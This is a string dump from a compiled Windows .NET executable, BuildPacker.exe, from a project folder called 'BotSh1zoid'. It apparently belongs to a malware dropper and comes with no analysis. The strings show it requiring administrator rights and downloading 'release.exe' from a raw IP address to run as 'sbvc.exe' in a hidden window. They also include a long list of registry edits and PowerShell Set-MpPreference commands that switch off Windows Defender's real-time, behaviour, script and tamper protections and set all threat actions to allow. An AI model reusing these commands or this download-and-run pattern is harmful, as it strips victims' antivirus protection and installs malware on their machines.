!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Microsoft.Win32
<Module>
System.IO
mscorlib
RegistryValueKind
get_Message
Disable
IDisposable
DownloadFile
IsInRole
WindowsBuiltInRole
Console
set_WindowStyle
ProcessWindowStyle
set_FileName
ReadLine
WriteLine
Combine
LocalMachine
Dispose
Delete
GuidAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
GetValue
SetValue
BuildPacker.exe
System.Runtime.Versioning
String
regPath
GetTempPath
EndsWith
StartsWith
RegistryKeyPermissionCheck
System.Security.Principal
WindowsPrincipal
get_EndOfStream
Program
System
System.Reflection
Exception
set_StartInfo
ProcessStartInfo
DirectoryInfo
StreamReader
TextReader
Folder
WDefender
CheckDefender
BuildPacker
CurrentUser
.cctor
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
Process
set_Arguments
Concat
Object
System.Net
RegistryEdit
WaitForExit
WebClient
GetCurrent
get_StandardOutput
set_RedirectStandardOutput
set_CreateNoWindow
CreateSubKey
OpenSubKey
RegistryKey
CreateDirectory
Registry
WindowsIdentity
*jz.HB
WrapNonExceptionThrows
BuildPacker
Copyright
2021
$983a3552-4ec3-4936-bd4a-8e6fd67b4c67
1.0.0.0
.NETFramework,Version=v4.6.1
FrameworkDisplayName
.NET Framework 4.6.1
C:\Users\Administrator\Desktop\BotSh1zoid\BotSh1zoid\bin\Release\BuildPacker\BuildPacker\obj\Release\BuildPacker.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- UAC Manifest Options
If you want to change the Windows User Account Control level replace the
requestedExecutionLevel node with one of the following.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Specifying requestedExecutionLevel element will disable file and registry virtualization.
Remove this element if your application requires this virtualization for backwards
compatibility.
-->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- A list of the Windows versions that this application has been tested on
and is designed to work with. Uncomment the appropriate elements
and Windows will automatically select the most compatible environment. -->
<!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
<!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
<!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
<!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
<!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
</application>
</compatibility>
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
<!--
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
</application>
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
<!--
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
user_svc
sbvc.exe
http://95.181.155.150/files/release.exe
SOFTWARE\Microsoft\Windows Defender\Features
TamperProtection
SOFTWARE\Policies\Microsoft\Windows Defender
DisableAntiSpyware
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring
DisableOnAccessProtection
DisableScanOnRealtimeEnable
powershell
Get-MpPreference -verbose
DisableRealtimeMonitoring
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
DisableBlockAtFirstSeen
Set-MpPreference -DisableBlockAtFirstSeen $true
DisableIOAVProtection
Set-MpPreference -DisableIOAVProtection $true
DisablePrivacyMode
Set-MpPreference -DisablePrivacyMode $true
SignatureDisableUpdateOnStartupWithoutEngine
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
DisableArchiveScanning
Set-MpPreference -DisableArchiveScanning $true
DisableIntrusionPreventionSystem
Set-MpPreference -DisableIntrusionPreventionSystem $true
DisableScriptScanning
Set-MpPreference -DisableScriptScanning $true
SubmitSamplesConsent
Set-MpPreference -SubmitSamplesConsent 2
MAPSReporting
Set-MpPreference -MAPSReporting 0
HighThreatDefaultAction
Set-MpPreference -HighThreatDefaultAction 6 -Force
ModerateThreatDefaultAction
Set-MpPreference -ModerateThreatDefaultAction 6
LowThreatDefaultAction
Set-MpPreference -LowThreatDefaultAction 6
SevereThreatDefaultAction
Set-MpPreference -SevereThreatDefaultAction 6
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
BuildPacker
FileVersion
1.0.0.0
InternalName
BuildPacker.exe
LegalCopyright
Copyright
2021
LegalTrademarks
OriginalFilename
BuildPacker.exe
ProductName
BuildPacker
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0